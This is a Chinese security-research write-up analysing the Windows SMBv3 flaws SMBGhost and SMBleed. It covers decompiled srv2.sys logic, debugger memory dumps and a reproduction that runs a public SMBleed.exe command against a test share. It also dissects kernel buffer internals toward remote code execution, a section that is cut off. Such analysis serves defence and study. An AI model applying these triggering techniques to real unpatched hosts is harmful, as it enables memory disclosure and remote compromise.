作者:Strawberry?@ QAX A-TEAM
原文鏈接:https://mp.weixin.qq.com/s/Xlfr8AIB43RuJ9lveqUGOA
2020年3月11日,微軟發布了115個漏洞的補丁程序和一個安全指南(禁用SMBv3壓縮指南 ---- ADV200005),ADV200005中暴露了一個SMBv3的遠程代碼執行漏洞,該漏洞可能未經身份驗證的攻擊者在SMB服務器或客戶端上遠程執行代碼,業內安全專家猜測該漏洞可能會造成蠕蟲級傳播。補丁日之后,微軟又發布了Windows SMBv3 客戶端/服務器遠程代碼執行漏洞的安全更新細節和補丁程序,漏洞編號為CVE-2020-0796,由于一些小插曲,該漏洞又被稱為SMBGhost。
2020年6月10日,微軟公開修復了Microsoft Server Message Block 3.1.1 (SMBv3)協議中的另一個信息泄露漏洞CVE-2020-1206。該漏洞是由ZecOps安全研究人員在SMBGhost同一漏洞函數中發現的,又被稱為SMBleed。未經身份驗證的攻擊者可通過向目標SMB服務器發特制數據包來利用此漏洞,或配置一個惡意的 SMBv3 服務器并誘導用戶連接來利用此漏洞。成功利用此漏洞的遠程攻擊者可獲取敏感信息。
SMBGhost 和 SMBleed 漏洞產生于同一個函數,不同的是,SMBGhost 漏洞源于OriginalCompressedSize 和 Offset 相加產生的整數溢出,SMBleed 漏洞在于 OriginalCompressedSize 或 Offset 欺騙產生的數據泄露。本文對以上漏洞進行分析總結,主要包括以下幾個部分:
- SMBGhost 漏洞回顧
- SMBleed 漏洞復現分析
- 物理地址讀 && SMBGhost 遠程代碼執行
- SMBGhost && SMBleed 遠程代碼執行
- Shellcode 調試分析
SMBGhost 漏洞回顧
CVE-2020-0796漏洞源于Srv2DecompressData函數,該函數主要負責將壓縮過的SMB數據包還原(解壓),但在使用SrvNetAllocateBuffer函數分配緩沖區時,傳入了參數OriginalCompressedSegmentSize + Offset,由于未對這兩個值進行額外判斷,存在整數溢出的可能。如果SrvNetAllocateBuffer函數使用較小的值作為第一個參數為SMB數據分配緩沖區,獲取的緩沖區的長度或小于待解壓數據解壓后的數據的長度,這將導致程序在解壓(SmbCompressionDecompress)的過程中產生緩沖區溢出。
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
(ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
NULL);
If (!Alloc) {
return STATUS_INSUFFICIENT_RESOURCES;
}
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
通過SrvNetAllocateBuffer函數獲取的緩沖區結構如下,函數返回的是SRVNET_BUFFER_HDR結構的指針,其偏移0x18處存放了User Buffer指針,User Buffer區域用來存放還原的SMB數據,解壓操作其實就是向User Buffer偏移offset處釋放解壓數據:

原本程序設計的邏輯是,在解壓成功之后調用memcpy函數將raw data(壓縮數據之前的offset大小的沒有被壓縮的數據)復制到User Buffer的起始處,解壓后的數據是從offset偏移處開始存放的。正常的情況如下圖所示,未壓縮的數據后面跟著解壓后的數據,復制的數據沒有超過User Buffer的范圍:

但由于整數溢出,分配的User Buffer空間會小,User Buffer減offset剩下的空間不足以容納解壓后的數據,如下圖所示。根據該結構的特點,可通過構造Offset、Raw Data和Compressed Data,在解壓時覆蓋后面SRVNET BUFFER HDR結構體中的UserBuffer指針,從而在后續memcpy時向UserBuffer(任意地址)寫入可控的數據(任意數據)。任意地址寫是該漏洞利用的關鍵。

3月份跟風分析過此漏洞并學習了通過任意地址寫進行本地提權的利用方式,鏈接如下:https://mp.weixin.qq.com/s/rKJdP_mZkaipQ9m0Qn9_2Q
SMBleed 漏洞
根據ZecOps公開的信息可知,引發該漏洞的函數也是srv2.sys中的Srv2DecompressData函數,與SMBGhost漏洞(CVE-2020-0796)相同。
漏洞分析
再來回顧一下Srv2DecompressData函數吧,該函數用于還原(解壓)SMB數據。首先根據原始壓縮數據中的OriginalCompressedSegmentSize和Offset計算出解壓后結構的大小,然后通過SrvNetAllocateBuffer函數獲取SRVNET BUFFER HDR結構(該結構中指明了可存放無需解壓的Offset長度的數據和解壓數據的緩沖區的User Buffer),然后調用SmbCompressionDecompress函數向User Buffer的Offset偏移處寫入數據。CVE-2020-0796漏洞是由于OriginalCompressedSegmentSize和Offset相加的過程中出現整數溢出,從而導致獲取的緩沖區不足以存放解壓后的數據,最終在解壓過程中產生溢出。
- (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset) 處產生整數溢出,假設結果為x
- SrvNetAllocateBuffer函數會根據x的大小去LookAside中尋找大小合適的緩沖區,并返回其后面的SRVNET BUFFER HDR結構,該結構偏移0x18處指向該緩沖區User Buffer
- SmbCompressionDecompress函數依據指定的壓縮算法將待解壓數據解壓到 User Buffer偏移Offset處,但其實壓縮前的數據長度大于剩余的緩沖區長度,解壓復制的過程中產生緩沖區溢出
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer(
(ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset),
NULL);
If (!Alloc) {
return STATUS_INSUFFICIENT_RESOURCES;
}
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
在SmbCompressionDecompress函數中有一個神操作,如下所示,如果nt!RtlDecompressBufferEx2返回值非負(解壓成功),則將FinalCompressedSize賦值為OriginalCompressedSegmentSize。因而,只要數據解壓成功,就不會進入SrvNetFreeBuffer等流程,即使解壓操作后會判斷FinalCompressedSize和OriginalCompressedSegmentSize是否相等。這是0796任意地址寫的前提條件。
if ( (int)RtlGetCompressionWorkSpaceSize(v13, &NumberOfBytes, &v18) < 0
|| (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, (unsigned int)NumberOfBytes, 0x2532534Cu)) != 0i64 )
{
v14 = &FinalCompressedSize;
v17 = v8;
v15 = OriginalCompressedSegmentSize;
v10 = RtlDecompressBufferEx2(v13, v7, OriginalCompressedSegmentSize, v9, v17, 4096, FinalCompressedSize, v6, v18);
if ( v10 >= 0 )
*v14 = v15;
if ( v6 )
ExFreePoolWithTag(v6, 0x2532534Cu);
}
這也是CVE-2020-1206的漏洞成因之一,SmbCompressionDecompress函數會對FinalCompressedSize值進行更新,導致實際解壓出來的數據長度和OriginalCompressedSegmentSize不相等時也不會進入釋放流程。而且在解壓成功之后會將SRVNET BUFFER HDR結構中的UserBufferSizeUsed賦值為Offset與FinalCompressedSize之和,這個操作也是挺重要的。
//Srv2DecompressData
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Alloc->UserBufferSizeUsed = Header->Offset + FinalCompressedSize;
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
那如果我們將OriginalCompressedSegmentSize設置為比實際壓縮的數據長度大的數,讓系統認為解壓后的數據長度就是OriginalCompressedSegmentSize大小,是不是也可以泄露內存中的數據(類似于心臟滴血)。如下所示,POC中將OriginalCompressedSegmentSize設置為x + 0x1000,offset設置為0,最終得到解壓后的數據 (長度為x),其后面跟有未初始化的內核數據 ,然后利用解壓后的SMB2 WRITE 消息泄露后面緊跟著的長度為0x1000的未初始化數據。

漏洞復現
在Win10 1903下使用公開的SMBleed.exe進行測試(需要身份認證和可寫權限)。步驟如下: 共享C盤,確保允許Everyone進行更改(或添加其他用戶并賦予其讀取和更改權限) 在C盤下創建share目錄,以便對文件寫入和讀取 * 按照提示運行SMBleed.exe程序,例:SMBleed.exe win10 127.0.0.1 DESKTOP-C2C92C6 strawberry 123123 c share\test.bin local.bin
以下為獲得的local.bin中的部分信息:
抓包分析
在復現的同時可以抓包,可以發現協商之后的大部分包都采用了SMB 壓縮(ProtocalId為0x424D53FC)。根據數據包可判斷POC流程大概是這樣的:SMB協商->用戶認證->創建文件->利用漏洞泄露內存信息并寫入文件->將文件讀取到本地->結束連接。
注意到一個來自服務端的Write Response數據包,其status為STATUS_SUCCESS,說明寫入操作成功。ZecOps在文章中提到過他們利用SMB2 WRITE消息來演示此漏洞,因而我們需要關注一下其對應的請求包,也就是下圖中id為43的那個數據包。

下面為觸發漏洞的SMB壓縮請求包,粉色方框里的OriginalCompressedSegmentSize字段值為0x1070,但實際壓縮前的數據只有0x70,可借助 SMB2 WRITE 將未初始化的內存泄露出來。

以下為解壓前后數據對比,解壓前數據大小為0x3f,解壓后數據大小為0x70(真實解壓大小,后面為未初始化內存),解壓后的數據包括SMB2數據包頭(0x40長度)和偏移0x40處的SMB2 WRITE結構。在這SMB2 WRITE結構中指明了向目標文件寫入后面未初始化的0x1000長度的數據。
3: kd>
srv2!Srv2DecompressData+0xdc:
fffff800`01e17f3c e86f657705 call srvnet!SmbCompressionDecompress (fffff800`0758e4b0)
3: kd> dd rdx //壓縮數據
ffffb283`210dfdf0 02460cc0 424d53fe 00030040 004d0009
ffffb283`210dfe00 18050000 ff000100 010000fe 00190038
ffffb283`210dfe10 0018f800 31150007 00007000 ffffff10
ffffb283`210dfe20 070040df 00183e00 00390179 00060007
ffffb283`210dfe30 00000000 00000000 00000000 00000000
ffffb283`210dfe40 00000000 00000000 00000000 00000000
ffffb283`210dfe50 00000000 00000000 00000000 00000000
ffffb283`210dfe60 00000000 00000000 00000000 00000000
3: kd> db ffffb283`1fe23050 l1070 //解壓后數據
ffffb283`1fe23050 fe 53 4d 42 40 00 00 00-00 00 00 00 09 00 40 00 .SMB@.........@.
ffffb283`1fe23060 00 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00 ................
ffffb283`1fe23070 ff fe 00 00 01 00 00 00-01 00 00 00 00 f8 00 00 ................
ffffb283`1fe23080 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffb283`1fe23090 31 00 70 00 00 10 00 00-00 00 00 00 00 00 00 00 1.p.............
ffffb283`1fe230a0 00 00 00 00 3e 00 00 00-01 00 00 00 3e 00 00 00 ....>.......>...
ffffb283`1fe230b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffb283`1fe230c0 4d 53 53 50 00 03 00 00-00 18 00 18 00 a8 00 00 MSSP............
ffffb283`1fe230d0 00 1c 01 1c 01 c0 00 00-00 1e 00 1e 00 58 00 00 .............X..
ffffb283`1fe230e0 00 14 00 14 00 76 00 00-00 1e 00 1e 00 8a 00 00 .....v..........
ffffb283`1fe230f0 00 10 00 10 00 dc 01 00-00 15 82 88 e2 0a 00 ba ................
ffffb283`1fe23100 47 00 00 00 0f 42 75 7d-f2 d2 46 fe 0f 4b 14 e0 G....Bu}..F..K..
ffffb283`1fe23110 c5 8f fc cd 0a 44 00 45-00 53 00 4b 00 54 00 4f .....D.E.S.K.T.O
ffffb283`1fe23120 00 50 00 2d 00 43 00 32-00 43 00 39 00 32 00 43 .P.-.C.2.C.9.2.C
ffffb283`1fe23130 00 36 00 73 00 74 00 72-00 61 00 77 00 62 00 65 .6.s.t.r.a.w.b.e
ffffb283`1fe23140 00 72 00 72 00 79 00 44-00 45 00 53 00 4b 00 54 .r.r.y.D.E.S.K.T
ffffb283`1fe23150 00 4f 00 50 00 2d 00 43-00 32 00 43 00 39 00 32 .O.P.-.C.2.C.9.2
ffffb283`1fe23160 00 43 00 36 00 00 00 00-00 00 00 00 00 00 00 00 .C.6............
ffffb283`1fe23170 00 00 00 00 00 00 00 00-00 00 00 00 00 21 52 f2 .............!R.
ffffb283`1fe23180 53 be ee d2 a8 01 46 1d-69 9c 78 f5 90 01 01 00 S.....F.i.x.....
ffffb283`1fe23190 00 00 00 00 00 43 c5 71-42 a7 43 d6 01 d9 a8 02 .....C.qB.C.....
ffffb283`1fe231a0 16 83 a3 24 75 00 00 00-00 02 00 1e 00 44 00 45 ...$u........D.E
ffffb283`1fe231b0 00 53 00 4b 00 54 00 4f-00 50 00 2d 00 43 00 32 .S.K.T.O.P.-.C.2
ffffb283`1fe231c0 00 43 00 39 00 32 00 43-00 36 00 01 00 1e 00 44 .C.9.2.C.6.....D
ffffb283`1fe231d0 00 45 00 53 00 4b 00 54-00 4f 00 50 00 2d 00 43 .E.S.K.T.O.P.-.C
ffffb283`1fe231e0 00 32 00 43 00 39 00 32-00 43 00 36 00 04 00 1e .2.C.9.2.C.6....
ffffb283`1fe231f0 00 44 00 45 00 53 00 4b-00 54 00 4f 00 50 00 2d .D.E.S.K.T.O.P.-
ffffb283`1fe23200 00 43 00 32 00 43 00 39-00 32 00 43 00 36 00 03 .C.2.C.9.2.C.6..
ffffb283`1fe23210 00 1e 00 44 00 45 00 53-00 4b 00 54 00 4f 00 50 ...D.E.S.K.T.O.P
ffffb283`1fe23220 00 2d 00 43 00 32 00 43-00 39 00 32 00 43 00 36 .-.C.2.C.9.2.C.6
ffffb283`1fe23230 00 07 00 08 00 43 c5 71-42 a7 43 d6 01 06 00 04 .....C.qB.C.....
ffffb283`1fe23240 00 02 00 00 00 08 00 30-00 30 00 00 00 00 00 00 .......0.0......
ffffb283`1fe23250 00 01 00 00 00 00 20 00-00 6f 26 f2 a8 d5 ab cf ...... ..o&.....
ffffb283`1fe23260 14 7d a9 e2 e9 5a 37 0e-94 56 6d 23 d4 42 bf ba .}...Z7..Vm#.B..
ffffb283`1fe23270 1c 3d 9b 38 91 d3 b4 0f-cd 0a 00 10 00 00 00 00 .=.8............
ffffb283`1fe23280 00 00 00 00 00 00 00 00-00 00 00 00 00 09 00 00 ................
ffffb283`1fe23290 00 00 00 00 00 00 00 00-00 1e a8 6f 1d 2e 86 e2 ...........o....
ffffb283`1fe232a0 6b b9 6b 8b e6 21 f6 de-7f a3 12 04 10 01 00 00 k.k..!..........
ffffb283`1fe232b0 00 9d 20 ee a2 a7 b3 6e-67 00 00 00 00 00 00 00 .. ....ng.......
SMB2 WRITE部分結構如下(了解這些就夠了吧): StructureSize(2個字節):客戶端必須將此字段設置為49(0x31),表示請求結構的大小,不包括SMB頭部。 DataOffset(2個字節):指明要寫入的數據相對于SMB頭部的偏移量(以字節為單位)。 長度(4個字節):要寫入的數據的長度,以字節為單位。要寫入的數據長度可以為0。 偏移量(8個字節):將數據寫入目標文件的位置的偏移量(以字節為單位)。如果在管道上執行寫操作,則客戶端必須將其設置為0,服務器必須忽略該字段。 * FILEID(16個字節):SMB2_FILEID 文件句柄。 ……
所以根據以上信息可知,DataOffset為0x70,數據長度為0x1000,從文件偏移0的位置開始寫入。查看本次泄露的數據,可以發現正好就是SMB頭偏移0x70處的0x1000長度的數據。

所以,前面的UserBufferSizeUsed起了什么樣的作用呢?在Srv2PlainTextReceiveHandler函數中會將其復制到v3偏移 0x154處。然后在Smb2ExecuteWriteReal函數(Smb2ExecuteWrite函數調用)中會判斷之前復制的那個雙字節值是否小于SMB2 WRITE結構中的DataOffset和長度之和,如果小于的話就會出錯(不能寫入數據)。POC中將這兩個字段分別設置為0x70和0x1000,相加后正好等于0x1070,如果將長度字段設置的稍小一些,那么相應的,泄露的數據長度也會變小。也就是說,OriginalCompressedSegmentSize字段設置了泄露的上限(OriginalCompressedSegmentSize - DataOffset),具體泄露的數據長度還是要看SMB2 WRITE結構中的長度。在這里不得不佩服作者的腦洞,但這種思路需要目標系統共享文件夾以及獲取權限,還是有些局限的。
//Srv2PlainTextReceiveHandler
v2 = a2;
v3 = a1;
v4 = Smb2ValidateMessageIdAndCommand(
a1,
*(_QWORD *)(*(_QWORD *)(a1 + 0xF0) + 0x18i64), //UserBuffer
*(_DWORD *)(*(_QWORD *)(a1 + 0xF0) + 0x24i64)); //UserBufferSizeUsed
if ( (v4 & 0x80000000) == 0 )
{
v6 = *(_QWORD *)(v3 + 0xF0);
*(_DWORD *)(v3 + 0x158) = *(_DWORD *)(v6 + 0x24);
v7 = Srv2CheckMessageSize(*(_DWORD *)(v6 + 0x24), *(_DWORD *)(v6 + 0x24), *(_QWORD *)(v6 + 0x18)); //UserBufferSizeUsed or *(int *)(UserBuffer+0x14)
v9 = v7;
if ( v7 == (_DWORD)v8 || (result = Srv2PlainTextCompoundReceiveHandler(v3, v7), (int)result >= 0) )
{
*(_DWORD *)(v3 + 0x150) = v9;
*(_DWORD *)(v3 + 0x154) = v9; //上層結構,沒有好好分析
*(_BYTE *)(v3 + 0x198) = 1;
//Smb2ExecuteWriteReal
3: kd> g
Breakpoint 5 hit
srv2!Smb2ExecuteWriteReal+0xc9:
fffff800`01e4f949 0f82e94f0100 jb srv2!Smb2ExecuteWriteReal+0x150b8 (fffff800`01e64938)
3: kd> ub rip
srv2!Smb2ExecuteWriteReal+0xa5:
fffff800`01e4f925 85c0 test eax,eax
fffff800`01e4f927 0f88b94f0100 js srv2!Smb2ExecuteWriteReal+0x15066 (fffff800`01e648e6)
fffff800`01e4f92d 4c39bbb8000000 cmp qword ptr [rbx+0B8h],r15
fffff800`01e4f934 0f85d34f0100 jne srv2!Smb2ExecuteWriteReal+0x1508d (fffff800`01e6490d)
fffff800`01e4f93a 0fb74f42 movzx ecx,word ptr [rdi+42h]
fffff800`01e4f93e 8bc1 mov eax,ecx
fffff800`01e4f940 034744 add eax,dword ptr [rdi+44h]
fffff800`01e4f943 398654010000 cmp dword ptr [rsi+154h],eax
3: kd> dd rdi
ffffb283`1fe25050 424d53fe 00000040 00000000 00400009
ffffb283`1fe25060 00000000 00000000 00000005 00000000
ffffb283`1fe25070 0000feff 00000001 00000001 0000f800
ffffb283`1fe25080 00000000 00000000 00000000 00000000
ffffb283`1fe25090 00700031 00001000 00000000 00000000
ffffb283`1fe250a0 00000000 0000003e 00000001 0000003e
ffffb283`1fe250b0 00000000 00000000 00000000 00000000
ffffb283`1fe250c0 00000000 00000000 00000020 00000000
物理地址讀&&SMBGhost遠程代碼執行
在進行復現前,對一些結構進行分析,如Lookaside、SRVNET BUFFER HDR、MDL等等,以便更好地理解這種利用方式。
Lookaside 初始化
SrvNetAllocateBuffer函數會從SrvNetBufferLookasides表中獲取大小合適的緩沖區,如下所示,SrvNetAllocateBuffer第一個參數為數據的長度,這里為還原的數據的長度(解壓+無需解壓的數據),第二個參數為SRVNET_BUFFER_HDR結構體指針或0。如果傳入的長度在[ 0x1100 , 0x100100 ] 區間,會進入以下流程。
//SrvNetAllocateBuffer(unsigned __int64 a1, __int64 a2)
//a1: OriginalCompressedSegmentSize + Offset
//a2: 0
v3 = 0;
......
else
{
if ( a1 > 0x1100 ) // 這里這里
{
v13 = a1 - 0x100;
_BitScanReverse64((unsigned __int64 *)&v14, v13);// 從高到低掃描,找到第一個1,v14存放比特位
_BitScanForward64((unsigned __int64 *)&v15, v13);// 從低到高掃描,找到第一個1,v15存放比特位
if ( (_DWORD)v14 == (_DWORD)v15 ) // 說明只有一個1
v3 = v14 - 0xC;
else
v3 = v14 - 0xB;
}
v6 = SrvNetBufferLookasides[v3];
上述代碼的邏輯為,分別找到length - 0x100中1的最高比特位和最低比特位,如果相等的話,用最高比特位索引減0xC,否則用最高比特位索引減0xB。最高比特位x可確定長度的大致范圍[1<
| 比特位 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 |
|---|---|---|---|---|---|---|---|---|---|
| 長度 | 0x1100 | 0x2100 | 0x4100 | 0x8100 | 0x10100 | 0x20100 | 0x40100 | 0x80100 | 0x100100 |
| 索引 | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 |
后面的流程為根據索引從SrvNetBufferLookasides中取出相應結構體X的指針,取其第一項(核心數加1的值),v2為KPCR結構偏移0x1A4處的核心號。然后從結構體X偏移0x20處獲取結構v9,v7(v8)表示當前核心要處理的數據在v9結構體中的索引(核心號加1),然后通過v8索引獲取結構v10,綜上:v10 = (_QWORD )((_QWORD )(SrvNetBufferLookasides[index] + 0x20)+ 8*(Core number + 1)),如果v10偏移0x70處不為0(表示結構已分配),就取出v10偏移8處的結構(SRVNET_BUFFER_HDR)。如果沒分配,就調用PplpLazyInitializeLookasideList函數。
v2 = __readgsdword(0x1A4u);
......
v6 = SrvNetBufferLookasides[v3];
v7 = *(_DWORD *)v6 - 1;
if ( (unsigned int)v2 + 1 < *(_DWORD *)v6 )
v7 = v2 + 1;
v8 = v7;
v9 = *(_QWORD *)(v6 + 0x20);
v10 = *(_QWORD *)(v9 + 8 * v8);
if ( !*(_BYTE *)(v10 + 0x70) )
PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
++*(_DWORD *)(v10 + 0x14);
v11 = (SRVNET_BUFFER_HDR *)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
舉個例子(單核系統),假設需要的緩沖區長度為0x10101(需要0x20100大小的緩沖區來存放),得到SrvNetBufferLookasides表中的索引為5,最終通過一步一步索引得到緩沖區0xffffcc0f775f0150(熟悉的SRVNET_BUFFER_HDR結構):
kd>
srvnet!SrvNetAllocateBuffer+0x5d:
fffff806`2280679d 440fb7c5 movzx r8d,bp
//SrvNetBufferLookasides表 大小0x48 索引0-8
kd> dq rcx
fffff806`228350f0 ffffcc0f`7623dd00 ffffcc0f`7623d480
fffff806`22835100 ffffcc0f`7623dc40 ffffcc0f`7623d100
fffff806`22835110 ffffcc0f`7623dd80 ffffcc0f`7623d640
fffff806`22835120 ffffcc0f`7623db40 ffffcc0f`7623dbc0
fffff806`22835130 ffffcc0f`7623de00
//SrvNetBufferLookasides[5] 單核系統核心數1再加1為2(第一項)
kd> dq ffffcc0f`7623d640
ffffcc0f`7623d640 00000000`00000002 6662534c`3030534c
ffffcc0f`7623d650 00000000`00020100 00000000`00000200
ffffcc0f`7623d660 ffffcc0f`762356c0 00000000`00000000
ffffcc0f`7623d670 00000000`00000000 00000000`00000000
//上面的結構偏移0x20
kd> dq ffffcc0f`762356c0
ffffcc0f`762356c0 ffffcc0f`75191ec0 ffffcc0f`75192980
//上面的結構偏移8 v8 = v7 = 2 - 1 = 1
kd> dq ffffcc0f`75192980
ffffcc0f`75192980 00000000`00090001 ffffcc0f`775f0150
ffffcc0f`75192990 00000009`01000004 00000009`00000001
ffffcc0f`751929a0 00000200`00000000 00020100`3030534c
ffffcc0f`751929b0 fffff806`2280d600 fffff806`2280d590
ffffcc0f`751929c0 ffffcc0f`76047cb0 ffffcc0f`75190780
ffffcc0f`751929d0 00000001`00000009 00000000`00000000
ffffcc0f`751929e0 ffffcc0f`75191ec0 00000000`00000000
ffffcc0f`751929f0 00000000`00000001 00000000`00000000
//ExpInterlockedPopEntrySList彈出偏移8處的0xffffcc0f775f0150,還是熟悉的味道(SRVNET_BUFFER_HDR)
kd> dd ffffcc0f`775f0150
ffffcc0f`775f0150 00000000 00000000 72f39558 ffffcc0f
ffffcc0f`775f0160 00050000 00000000 775d0050 ffffcc0f
ffffcc0f`775f0170 00020100 00000000 00020468 00000000
ffffcc0f`775f0180 775d0000 ffffcc0f 775f01e0 ffffcc0f
ffffcc0f`775f0190 00000000 6f726274 00000000 00000000
ffffcc0f`775f01a0 775f0320 ffffcc0f 00000000 00000000
ffffcc0f`775f01b0 00000000 00000001 63736544 74706972
ffffcc0f`775f01c0 006e6f69 00000000 ffffffd8 00610043
SrvNetBufferLookasides是由自定義的SrvNetCreateBufferLookasides函數初始化的。如下所示,這里其實就是以1 << (index + 0xC)) + 0x100為長度(0 <= index < 9),然后調用PplCreateLookasideList設置上面介紹的那些結構。在PplCreateLookasideList函數中設置上面第二三個結構,在PplpCreateOneLookasideList函數中設置上面第四個結構,最終在SrvNetAllocateBufferFromPool函數(SrvNetBufferLookasideAllocate函數調用)中設置SRVNET_BUFFER_HDR結構。
//SrvNetCreateBufferLookasides
while ( 1 )
{
v4 = PplCreateLookasideList(
(__int64 (__fastcall *)())SrvNetBufferLookasideAllocate,
(__int64 (__fastcall *)(PSLIST_ENTRY))SrvNetBufferLookasideFree,
v1, // 0
v2, // 0
(1 << (v3 + 0xC)) + 0x100,
0x3030534C,
v6,
0x6662534Cu);
*v0 = v4;
if ( !v4 )
break;
++v3;
++v0;
if ( v3 >= 9 )
return 0i64;
}
以下為對SRVNET_BUFFER_HDR結構的初始化過程,v7為 length(滿足 (1 << (index + 0xC)) + 0x100 條件)+ 0xE8(SRVNET_BUFFER_HDR結構長度+8+0x50)+ 2 * (MDL + 8),其中MDL結構大小和length+0xE8相關,后面會介紹。然后通過ExAllocatePoolWithTag函數分配v7大小的內存,根據偏移獲取UserBufferPtr(偏移0x50)、SRVNET_BUFFER_HDR(偏移0x50加length,8字節對齊)等地址,具體如下,不一一介紹。
//SrvNetAllocateBufferFromPool
v8 = (BYTE *)ExAllocatePoolWithTag((POOL_TYPE)0x200, v7, 0x3030534Cu);
......
v11 = (__int64)(v8 + 0x50);
v12 = (SRVNET_BUFFER_HDR *)((unsigned __int64)&v8[v2 + 0x57] & 0xFFFFFFFFFFFFFFF8ui64); //v2是length
v12->PoolAllocationPtr = v8;
v12->pMdl2 = (PMDL)((unsigned __int64)&v12->unknown3[v5 + 0xF] & 0xFFFFFFFFFFFFFFF8ui64);
v13 = (_MDL *)((unsigned __int64)&v12->unknown3[0xF] & 0xFFFFFFFFFFFFFFF8ui64);
v12->UserBufferPtr = v8 + 0x50;
v12->pMdl1 = v13;
v12->BufferFlags = 0;
v12->TracingDataCount = 0;
v12->UserBufferSizeAllocated = v2;
v12->UserBufferSizeUsed = 0;
v14 = ((_WORD)v8 + 0x50) & 0xFFF;
v12->PoolAllocationSize = v7;
v12->BytesProcessed = 0;
v12->BytesReceived = 0i64;
v12->pSrvNetWskStruct = 0i64;
v12->SmbFlags = 0;
//SRVNET_BUFFER_HDR 例:
kd> dq rdi
ffffcc0f`76fed150 00000000`00000000 00000000`00000000
ffffcc0f`76fed160 00000000`00000000 ffffcc0f`76fe9050
ffffcc0f`76fed170 00000000`00004100 00000000`000042a8
ffffcc0f`76fed180 ffffcc0f`76fe9000 ffffcc0f`76fed1e0
ffffcc0f`76fed190 00000000`00000000 00000000`00000000
ffffcc0f`76fed1a0 ffffcc0f`76fed240 00000000`00000000
ffffcc0f`76fed1b0 00000000`00000000 00000000`00000000
ffffcc0f`76fed1c0 00000000`00000000 00000000`00000000
通過MmSizeOfMdl函數獲取MDL結構長度,以下為獲取0x41e8長度空間所需的MDL結構長度 ( 0x58 ),其中,0x30為基礎長度,0x28存放5個物理頁的pfn(0x41e8長度的數據需要存放在5個頁)。
kd>
srvnet!SrvNetAllocateBufferFromPool+0x62:
fffff806`2280d2d2 e809120101 call nt!MmSizeOfMdl (fffff806`2381e4e0)
kd> r rcx
rcx=0000000000000000
kd> r rdx //0x4100 + 0xe8
rdx=00000000000041e8
kd> p
srvnet!SrvNetAllocateBufferFromPool+0x67:
fffff806`2280d2d7 488d6808 lea rbp,[rax+8]
kd> r rax //0x30+0x28
rax=0000000000000058
kd> dt _mdl
nt!_MDL
+0x000 Next : Ptr64 _MDL
+0x008 Size : Int2B
+0x00a MdlFlags : Int2B
+0x00c AllocationProcessorNumber : Uint2B
+0x00e Reserved : Uint2B
+0x010 Process : Ptr64 _EPROCESS
+0x018 MappedSystemVa : Ptr64 Void
+0x020 StartVa : Ptr64 Void
+0x028 ByteCount : Uint4B
+0x02c ByteOffset : Uint4B
MmBuildMdlForNonPagedPool函數調用后,MdlFlags被設置為4,且對應的物理頁pfn被寫入MDL結構,然后通過MmMdlPageContentsState函數以及或操作將MdlFlags設置為0x5004(20484)。
kd>
srvnet!SrvNetAllocateBufferFromPool+0x1b0:
fffff806`2280d420 e8eb220301 call nt!MmBuildMdlForNonPagedPool (fffff806`2383f710)
kd> dt _mdl @rcx
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n88
+0x00a MdlFlags : 0n0
+0x00c AllocationProcessorNumber : 0
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : (null)
+0x020 StartVa : 0xffffcc0f`76fe9000 Void
+0x028 ByteCount : 0x4100
+0x02c ByteOffset : 0x50
kd> dd rcx
ffffcc0f`76fed1e0 00000000 00000000 00000058 00000000
ffffcc0f`76fed1f0 00000000 00000000 00000000 00000000
ffffcc0f`76fed200 76fe9000 ffffcc0f 00004100 00000050
ffffcc0f`76fed210 00000000 00000000 00000000 00000000
